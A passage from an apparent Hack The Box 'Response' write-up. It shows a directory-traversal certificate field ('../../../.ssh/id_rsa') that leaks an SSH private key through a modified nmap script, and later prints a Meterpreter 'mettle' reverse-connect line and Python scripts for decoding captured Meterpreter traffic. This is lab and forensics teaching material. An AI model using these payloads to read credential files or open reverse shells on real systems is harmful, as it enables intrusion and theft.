report.\n\nBest regards,\nYour Response Scanning Team\n\n--===============4525060307770544584==\nContent-Type: application\/octet-stream; Name=&quot;Scanning_Report.pdf&quot;\nMIME-Version: 1.0\nContent-Transfer-Encoding: base64\nContent-Disposition: attachment; filename=&quot;Scanning_Report.pdf&quot;\n\nJVBERi0xLjQKJcOiw6MKMSAwIG9iago8PAovVGl0bGUgKCkKL0NyZWF0b3IgKP7\/AHcAawBoAHQA\nbQBsAHQAbwBwAGQAZgAgADAALgAxADIALgA1KQovUHJvZHVjZXIgKP7\/AFEAdAAgADUALgAxADIA\nLgA4KQovQ3JlYXRpb25EYXRlIChEOjIwMjIwMzEwMTQyODAzWikKPj4KZW5kb2JqCjIgMCBvYmoK\nPDwKL1R5cGUgL0NhdGFsb2cKL1BhZ2VzIDMgMCBSCj4+CmVuZG9iago0IDAgb2JqCjw8Ci9UeXBl\nIC9FeHRHU3RhdGUKL1NBIHRydWUKL1NNIDAuMDIKL2NhIDEuMAovQ0EgMS4wCi9BSVMgZmFsc2UK\n...\n<\/pre><\/div>\n\n\n<p>In order to view the attached <code>PDF<\/code> file, we copy &amp; past the <code>base64<\/code> encoded attachment to a file and decode it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ base64 -d attachment_b64.txt &gt; report.pdf\n<\/pre><\/div>\n\n\n<p>The <code>PDF<\/code> file contains the <code>nmap<\/code> output:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"938\" height=\"662\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-14.png\" alt=\"\" class=\"wp-image-2624\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-14.png 938w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-14-300x212.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-14-768x542.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>At this point we are able to make the script scan our own server and receive the <code>PDF<\/code> report. Though we have not yet found a vulnerability.<\/p>\n\n\n\n<h2 id=\"dirtraversal\">Directory Traversal<\/h2>\n\n\n\n<p>We have already figured out, that three <code>nmap<\/code> scripts are used during the scan. These scripts are stored in the folder <code>\/home\/scryh\/scan\/scripts\/<\/code>. When comparing the scripts in this folder with the nmap default scripts, we can notice an adjustment:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan\/scripts$ diff .\/ssl-heartbleed.nse \/usr\/share\/nmap\/scripts\/ssl-heartbleed.nse \nbob@response:\/home\/scryh\/scan\/scripts$ diff .\/ssl-enum-ciphers.nse \/usr\/share\/nmap\/scripts\/ssl-enum-ciphers.nse\nbob@response:\/home\/scryh\/scan\/scripts$ diff .\/ssl-cert.nse \/usr\/share\/nmap\/scripts\/ssl-cert.nse \n232,257d231\n&lt; local function read_file(fn)\n&lt;   local f = io.open(fn, &#039;r&#039;)\n&lt;   local content = &#039;&#039;\n&lt;   if f ~= nil then\n&lt;     content = f:read(&#039;*all&#039;)\n&lt;     f:close()\n&lt;   end\n&lt;   return content\n&lt; end\n&lt; \n&lt; local function get_countryName(subject)\n&lt;   countryName = read_file(&#039;data\/countryName\/&#039; .. subject&#x5B;&#039;countryName&#039;])\n&lt;   if (countryName == &#039;&#039;) then\n&lt;     return &#039;UNKNOWN&#039;\n&lt;   end\n&lt;   return countryName\n&lt; end\n&lt; \n&lt; local function get_stateOrProvinceName(subject)\n&lt;   stateOrProvinceName = read_file(&#039;data\/stateOrProvinceName\/&#039; .. subject&#x5B;&#039;stateOrProvinceName&#039;])\n&lt;   if (stateOrProvinceName == &#039;&#039;) then\n&lt;     return &#039;NO DETAILS AVAILABLE&#039;\n&lt;   end\n&lt;   return stateOrProvinceName\n&lt; end\n&lt; \n262,263d235\n&lt;   lines&#x5B;#lines + 1] = &quot;Full countryName: &quot; .. get_countryName(cert.subject)\n&lt;   lines&#x5B;#lines + 1] = &quot;stateOrProvinceName Details: &quot; .. get_stateOrProvinceName(cert.subject)\n308a281,283\n&gt; \n&gt; \n&gt; \n<\/pre><\/div>\n\n\n<p>The script <code>ssl-cert.nse<\/code> was changed. This script is responsible for parsing the <code>SSL<\/code> certificate. The output is display at the beginning of the report:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nSubject: organizationName=Internet Widgits Pty Ltd\/stateOrProvinceName=Some-State\/countryName=AU\nFull countryName: Australia\nstateOrProvinceName Details: Default Name (Some-State)\nIssuer: organizationName=Internet Widgits Pty Ltd\/stateOrProvinceName=Some-State\/countryName=AU\nPublic Key type: rsa\nPublic Key bits: 4096\nSignature Algorithm: sha256WithRSAEncryption\n...\n<\/pre><\/div>\n\n\n<p>The adjustment of the script adds the two lines <code>Full countryName<\/code> and <code>stateOrProvinceName Details<\/code>. Within the functions <code>get_countryName<\/code> and <code>get_stateOrProvinceName<\/code> we can see that the certificate properties <code>countryName<\/code> and <code>stateOrProvinceName<\/code> are used as a filename within the folders <code>data\/countryName\/<\/code> and <code>data\/stateOrProvinceName\/<\/code> in order to retrieve the information displayed.<\/p>\n\n\n\n<p>The folder <code>data\/countryName\/<\/code> contains a lot of 2 letter codes:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan\/data$ ls -al countryName\/\ntotal 1020\ndrwxr-xr-x 2 scryh scryh 4096 Mar  3 09:00 .\ndrwxr-xr-x 4 scryh scryh 4096 Mar  3 09:12 ..\n-rw-r--r-- 1 scryh scryh    7 Mar  3 09:00 AD\n-rw-r--r-- 1 scryh scryh   20 Mar  3 09:00 AE\n-rw-r--r-- 1 scryh scryh   11 Mar  3 09:00 AF\n-rw-r--r-- 1 scryh scryh   19 Mar  3 09:00 AG\n-rw-r--r-- 1 scryh scryh    8 Mar  3 09:00 AI\n-rw-r--r-- 1 scryh scryh    7 Mar  3 09:00 AL\n-rw-r--r-- 1 scryh scryh    7 Mar  3 09:00 AM\n...\n<\/pre><\/div>\n\n\n<p>The content of these files contain the full country name:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan\/data$ cat countryName\/DE \nGermany\n<\/pre><\/div>\n\n\n<p>The folder <code>data\/stateOrProvinceName\/<\/code> contains state names:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan\/data$ ls -al stateOrProvinceName\/\ntotal 60\ndrwxr-xr-x 2 scryh scryh 4096 Mar  3 09:10 .\ndrwxr-xr-x 4 scryh scryh 4096 Mar  3 09:12 ..\n-rw-r--r-- 1 scryh scryh  198 Mar  3 09:10 Alabama\n-rw-r--r-- 1 scryh scryh  114 Mar  3 09:10 Arizona\n-rw-r--r-- 1 scryh scryh   51 Mar  3 09:10 California\n-rw-r--r-- 1 scryh scryh   75 Mar  3 09:10 Florida\n...\n<\/pre><\/div>\n\n\n<p>The content of these files contain a little description of the state:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan\/data$ cat stateOrProvinceName\/Alabama \nAlabama is a state in the Southeastern region of the United States, bordered by Tennessee to the north; Georgia to the east; Florida and the Gulf of Mexico to the south; and Mississippi to the west.\n<\/pre><\/div>\n\n\n<p>The <code>SSL<\/code> certificate properties <code>countryName<\/code> and <code>stateOrProvinceName<\/code> are not sanitized before being used as a file name. This means that we can use <code>Directory Traversal<\/code> to access files outside of the intended directories. Since the home folder of <code>scryh<\/code> contains a <code>.ssh<\/code> directory, there might be an <code>id_rsa<\/code> private key file. In order to retrieve the contents of this file, we need to create an <code>SSL<\/code> certificate with a corresponding <code>stateOrProvinceName<\/code> property. When using <code>openssl<\/code> to generate the certificate the <code>countryName<\/code> property is limited to two characters, which makes the <code>stateOrProvinceName<\/code> property an easier target.<\/p>\n\n\n\n<p>Again we use <code>openssl<\/code> to regenerate the <code>SSL<\/code> certificate of our <code>python http.server<\/code>. For the property <code>State or Province Name<\/code> we insert <code>..\/..\/..\/.ssh\/id_rsa<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ openssl req -x509 -nodes -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365\nGenerating a RSA private key\n...\nCountry Name (2 letter code) &#x5B;AU]:\nState or Province Name (full name) &#x5B;Some-State]:..\/..\/..\/.ssh\/id_rsa\n...\n<\/pre><\/div>\n\n\n<p>Now we restart the <code>python http.server<\/code> and add our server to <code>LDAP<\/code> again. After a while our machine is scanned again and we receive the generate <code>PDF<\/code> report via <code>SMTP<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ python -m smtpd -n -c DebuggingServer 10.10.13.42:25\n---------- MESSAGE FOLLOWS ----------\nContent-Type: multipart\/mixed; boundary=&quot;===============6188904686293994452==&quot;\nMIME-Version: 1.0\nFrom: reports@response.htb\nTo: marie.w@response-test.htb\nDate: Fri, 11 Mar 2022 06:26:02 +0000\nSubject: Response Scanning Engine Report\nX-Peer: 10.10.13.37\n\n--===============6188904686293994452==\nContent-Type: text\/plain; charset=&quot;us-ascii&quot;\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\n\nDear Customer,\n\nthe attached file contains your detailed scanning report.\n\nBest regards,\nYour Response Scanning Team\n\n--===============6188904686293994452==\nContent-Type: application\/octet-stream; Name=&quot;Scanning_Report.pdf&quot;\nMIME-Version: 1.0\nContent-Transfer-Encoding: base64\nContent-Disposition: attachment; filename=&quot;Scanning_Report.pdf&quot;\n\nJVBERi0xLjQKJcOiw6MKMSAwIG9iago8PAovVGl0bGUgKCkKL0NyZWF0b3IgKP7\/AHcAawBoAHQA\nbQBsAHQAbwBwAGQAZgAgADAALgAxADIALgA1KQovUHJvZHVjZXIgKP7\/AFEAdAAgADUALgAxADIA\nLgA4KQovQ3JlYXRpb25EYXRlIChEOjIwMjIwMzExMDYyNjAyWikKPj4KZW5kb2JqCjIgMCBvYmoK\n...\n<\/pre><\/div>\n\n\n<p>Base64 decoding the attachment yields the <code>PDF<\/code> report:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"938\" height=\"978\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-15.png\" alt=\"\" class=\"wp-image-2625\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-15.png 938w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-15-288x300.png 288w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-15-768x801.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>The <code>stateOrProvinceName Details<\/code> contains the <code>id_rsa<\/code> file of <code>scryh<\/code>. After copy &amp; pasting the key to a file we can connect via <code>SSH<\/code> with the user <code>scryh<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ ssh scryh@10.10.13.37 -i scryh_id_rsa\nWelcome to Ubuntu 20.04.4 LTS (GNU\/Linux 5.4.0-100-generic x86_64)\n...\nscryh@response:~$ id\nuid=1000(scryh) gid=1000(scryh) groups=1000(scryh)\n<\/pre><\/div>\n\n\n<h1 id=\"root\">Incident Report (scryh -&gt; root)<\/h1>\n\n\n\n<p>The home directory of <code>scryh<\/code> contains another folder called <code>incident_2022-3-042<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nscryh@response:~$ ls -al\ntotal 40\ndrwxr-xr-x 7 scryh scryh 4096 Mar 11 06:35 .\ndrwxr-xr-x 4 root  root  4096 Mar  4 06:27 ..\nlrwxrwxrwx 1 root  root     9 Mar  4 06:27 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 scryh scryh  220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 scryh scryh 3771 Feb 25  2020 .bashrc\ndrwx------ 3 scryh scryh 4096 Mar  4 07:10 .cache\ndrwx------ 3 scryh scryh 4096 Mar 11 06:35 .config\ndrwx------ 2 scryh scryh 4096 Feb 18 16:43 incident_2022-3-042\n-rw-r--r-- 1 scryh scryh  807 Feb 25  2020 .profile\ndrwxr-xr-x 5 scryh scryh 4096 Mar  4 07:48 scan\ndrwx------ 2 scryh scryh 4096 Mar 10 15:04 .ssh\n<\/pre><\/div>\n\n\n<p>We could not access this folder before, but since we are the user <code>scryh<\/code> now, we can access it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nscryh@response:~$ cd incident_2022-3-042\/\nscryh@response:~\/incident_2022-3-042$ ls -al\ntotal 5732\ndrwx------ 2 scryh scryh    4096 Mar 16 11:38 .\ndrwxr-xr-x 7 scryh scryh    4096 Mar 11 06:35 ..\n-r-------- 1 scryh scryh 2819768 Mar 16 11:01 core.auto_update\n-r-------- 1 scryh scryh 3009132 Mar 14 11:31 dump.pcap\n-r-------- 1 scryh scryh   25511 Mar 16 11:38 IR_report.pdf\n<\/pre><\/div>\n\n\n<p>There are three files: a <code>PDF<\/code> document, a <code>PCAP<\/code> dump and a file called <code>core.auto_update<\/code>, which is probably a core dump based on the name.<\/p>\n\n\n\n<p>The <code>PDF<\/code> file contains the report of a recent incident on the server:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"660\" height=\"851\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-16.png\" alt=\"\" class=\"wp-image-2626\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-16.png 660w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-16-233x300.png 233w\" sizes=\"(max-width: 660px) 100vw, 660px\" \/><\/figure>\n\n\n\n<p>According to the report the file <code>dump.pcap<\/code> should contain the traffic of a meterpreter session.<\/p>\n\n\n\n<h2 id=\"meterpreter\">Decrypting Meterpreter Session<\/h2>\n\n\n\n<p>By following the different <code>TCP<\/code> streams within the capture in Wireshark, we can see that a user named <code>b0b<\/code> sent the following messages to <code>admin<\/code> (<code>tcp.stream eq 31<\/code>):<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"826\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-17-1024x826.png\" alt=\"\" class=\"wp-image-2627\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-17-1024x826.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-17-300x242.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-17-768x619.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-17.png 1028w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>A few <code>TCP<\/code> streams further (<code>tcp.stream eq 43<\/code>) we can see the response from <code>admin<\/code> to <code>b0b<\/code>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"924\" height=\"514\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-18.png\" alt=\"\" class=\"wp-image-2628\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-18.png 924w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-18-300x167.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-18-768x427.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>By e.g. using the filter <code>http.request.uri == \"\/auto_update\"<\/code> we can find the request from <code>admin<\/code> to the malicious file hosted on the attacker&#8217;s webserver:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"580\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-19-1024x580.png\" alt=\"\" class=\"wp-image-2629\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-19-1024x580.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-19-300x170.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-19-768x435.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-19.png 1093w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>We can extract the malicous file by chosing <code>File<\/code> -&gt; <code>Export Objects<\/code> -&gt; <code>HTTP...<\/code>, selecting the request and clicking on <code>Save<\/code>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"764\" height=\"422\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-20.png\" alt=\"\" class=\"wp-image-2630\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-20.png 764w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-20-300x166.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/figure>\n\n\n\n<p>As assumed the file is an <code>ELF<\/code> binary:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ file auto_update   \nauto_update: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, with debug_info, not stripped\n<\/pre><\/div>\n\n\n<p>The report already mentions that the file is assumed to contain a meterpreter payload. <a href=\"https:\/\/www.virustotal.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">VirusTotal<\/a> does also identify the file as a malicious <code>Meterpreter<\/code> payload:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"760\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-21-1024x760.png\" alt=\"\" class=\"wp-image-2631\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-21-1024x760.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-21-300x223.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-21-768x570.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-21.png 1241w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>By running <code>strings<\/code> on the file and <code>grep<\/code>ing for <code>tcp:\/\/<\/code> we can determine the target for the back connect:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ strings auto_update|grep &#039;tcp:\/\/&#039;                   \ntcp:\/\/&#x5B;%s]:%u\ntcp:\/\/%s:%u\nmettle -U &quot;0pmTa+RXYJlmIGAiBA94qg==&quot; -G &quot;AAAAAAAAAAAAAAAAAAAAAA==&quot; -u &quot;tcp:\/\/10.10.13.42:4444&quot; -d &quot;0&quot; -o &quot;&quot;\n<\/pre><\/div>\n\n\n<p>Now we can identify the related traffic by e.g. using the filter <code>ip.addr == 10.10.13.42 &amp;&amp; tcp.port == 4444<\/code> in Wireshark:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"632\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-22-1024x632.png\" alt=\"\" class=\"wp-image-2632\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-22-1024x632.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-22-300x185.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-22-768x474.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-22.png 1446w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Though the meterpreter traffic is encrypted:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"881\" height=\"622\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-23.png\" alt=\"\" class=\"wp-image-2633\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-23.png 881w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-23-300x212.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-23-768x542.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>For our further analysis we should extract the data of the <code>TCP<\/code> stream. For this purpose we can use a little <code>python<\/code> script using <code>scapy<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python3\n\nfrom scapy.all import *\n\ntcp_stream = b&#039;&#039;\n\ndef get_meterpreter_stream(p):\n  global tcp_stream\n  if (TCP in p and (p&#x5B;TCP].sport == 4444 or p&#x5B;TCP].dport == 4444)):\n    d = bytes(p&#x5B;TCP].payload)\n    tcp_stream += d\n\nsniff(offline=&#039;.\/dump.pcap&#039;, prn=get_meterpreter_stream)\nprint(&#039;extracted %d bytes&#039; % len(tcp_stream))\n\nf = open(&#039;tcp_stream.raw&#039;, &#039;wb&#039;)\nf.write(tcp_stream)\nf.close()\n<\/pre><\/div>\n\n\n<p>Running the script writes the tcp stream data to the file <code>tcp_stream.raw<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/extract_tcp_stream.py\nextracted 1286160 bytes\n<\/pre><\/div>\n\n\n<p>At next we should try to make sense of this data. After a little bit of googling, we can find <a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/pull\/8625\" target=\"_blank\" rel=\"noreferrer noopener\">this article<\/a> describing the packet format. Accordingly the packet header looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\nValues: &#x5B;XOR KEY]&#x5B;session guid]&#x5B;encryption flags]&#x5B;packet length]&#x5B;packet type]&#x5B; .... TLV packets go here .... ]\nSize:   &#x5B;   4   ]&#x5B;    16      ]&#x5B;      4         ]&#x5B;       4     ]&#x5B;     4     ]&#x5B; ....          N          .... ]\n<\/pre><\/div>\n\n\n<p>If the <code>encryption flag<\/code> is set to <code>1<\/code>, <code>AES256<\/code> is used and there is an additional 16 byte <code>AES IV<\/code> field:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\nValues: ... &#x5B;packet length]&#x5B;packet type]&#x5B;AES IV]&#x5B; .... encrypted TLV .... ]\nSize:   ... &#x5B;       4     ]&#x5B;     4     ]&#x5B;  16  ]&#x5B; ....        N      .... ]\n<\/pre><\/div>\n\n\n<p>The field being referred to as <code>TLV packets<\/code> here is the basic data structure meterpreter uses, which is e.g. described <a href=\"http:\/\/www.hick.org\/code\/skape\/papers\/meterpreter.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a>. Despite of being called <code>TLV<\/code>, this structure starts with a 4 byte length value (<code>L<\/code>), which is followed by a 4 byte type value (<code>T<\/code>). After this there are <code>L<\/code> bytes of data for the actual value (<code>V<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\nValues: &#x5B; Length ]&#x5B;  Type ]&#x5B;  ... Value ... ]\nSize:   &#x5B;    4   ]&#x5B;   4   ]&#x5B;  ...   N   ... ]\n<\/pre><\/div>\n\n\n<p>One meterpreter packet can contain multiple of these <code>TLV<\/code> packets.<\/p>\n\n\n\n<p>Before dealing with the encryption, we should try to extract the unencrypted header of each single meterpreter packet. Though unencrypted is not totally true. The first 4 bytes of the header are called <code>XOR KEY<\/code>. This key is applied via <code>XOR<\/code> to the following packet data. Let&#8217;s take the first packet as an example:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\n&#x5B;XOR KEY] &#x5B;session guid                  ] &#x5B; encryption flags] &#x5B; packet length] &#x5B; packet type] &#x5B; .... TLV packets go here .... ]\n44d29053  44d2905344d2905344d2905344d29053      44d29053           44d29138        44d29053     44d2905f44d0905244d2904344d2907a44d3905176e2a76b71 ...\n<\/pre><\/div>\n\n\n<p>After applying the <code>XOR KEY<\/code> to the data, we get the following:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\n&#x5B;session guid                  ] &#x5B; encryption flags] &#x5B; packet length] &#x5B; packet type] &#x5B;Length 0]&#x5B;Type 0]&#x5B;Value 0] &#x5B;Length 1]&#x5B;Type 1]&#x5B;Value 1]\n00000000000000000000000000000000       00000000           0000016b       00000000     0000000c 00020001 00000010  00000029 00010002 3230373835 ...\n<\/pre><\/div>\n\n\n<p>In order to parse the whole data, we create the following <code>python<\/code> script:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python3\n\ndef get_bytes(d, n):\n  return (d&#x5B;:n], d&#x5B;n:])\n\n\ndef xor(d, key):\n  r = b&#039;&#039;\n  for i in range(len(d)):\n    r += bytes(&#x5B; d&#x5B;i] ^ key&#x5B;i%len(key)]])\n  return r\n\nd = open(&#039;.\/tcp_stream.raw&#039;, &#039;rb&#039;).read()\n\nwhile (len(d) &gt; 0):\n\n  # first 4 bytes XOR KEY\n  xor_key, d = get_bytes(d, 4)\n\n  # header: session_guid (16 byte), encryption flags (4 byte), packet length (4 byte), packet type (4 byte)\n  header, d = get_bytes(d, 16+4+4+4)\n  header = xor(header, xor_key)\n  session_guid = int.from_bytes(header&#x5B;:0x10], &#039;big&#039;)\n  encr_flags   = int.from_bytes(header&#x5B;0x10:0x14], &#039;big&#039;)\n  pack_len     = int.from_bytes(header&#x5B;0x14:0x18], &#039;big&#039;)\n  pack_type    = int.from_bytes(header&#x5B;0x18:0x1c], &#039;big&#039;)\n\n  print(&#039;session_guid: 0x%x, encr_flags: 0x%x, pack_len: 0x%x, pack_type: 0x%x&#039; % (session_guid, encr_flags, pack_len, pack_type))\n  tlv, d = get_bytes(d, pack_len - 8)\n<\/pre><\/div>\n\n\n<p>Important to note here is that each packet uses a different <code>XOR KEY<\/code>. Thus we have to first read the <code>XOR KEY<\/code>, apply it to the header and then read <code>packet length - 8<\/code> bytes of data. The <code>-8<\/code> is based on the fact that the size for <code>packet length<\/code> and <code>packet type<\/code> is taken into account for the <code>packet length<\/code> value.<\/p>\n\n\n\n<p>Running the script outputs an overview of all meterpreter packets:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/parse_meterpreter.py\nsession_guid: 0x0, encr_flags: 0x0, pack_len: 0x16b, pack_type: 0x0\nsession_guid: 0x0, encr_flags: 0x0, pack_len: 0x175, pack_type: 0x1\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0xa8, pack_type: 0x1\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x78, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x288, pack_type: 0x1\nsession_guid: 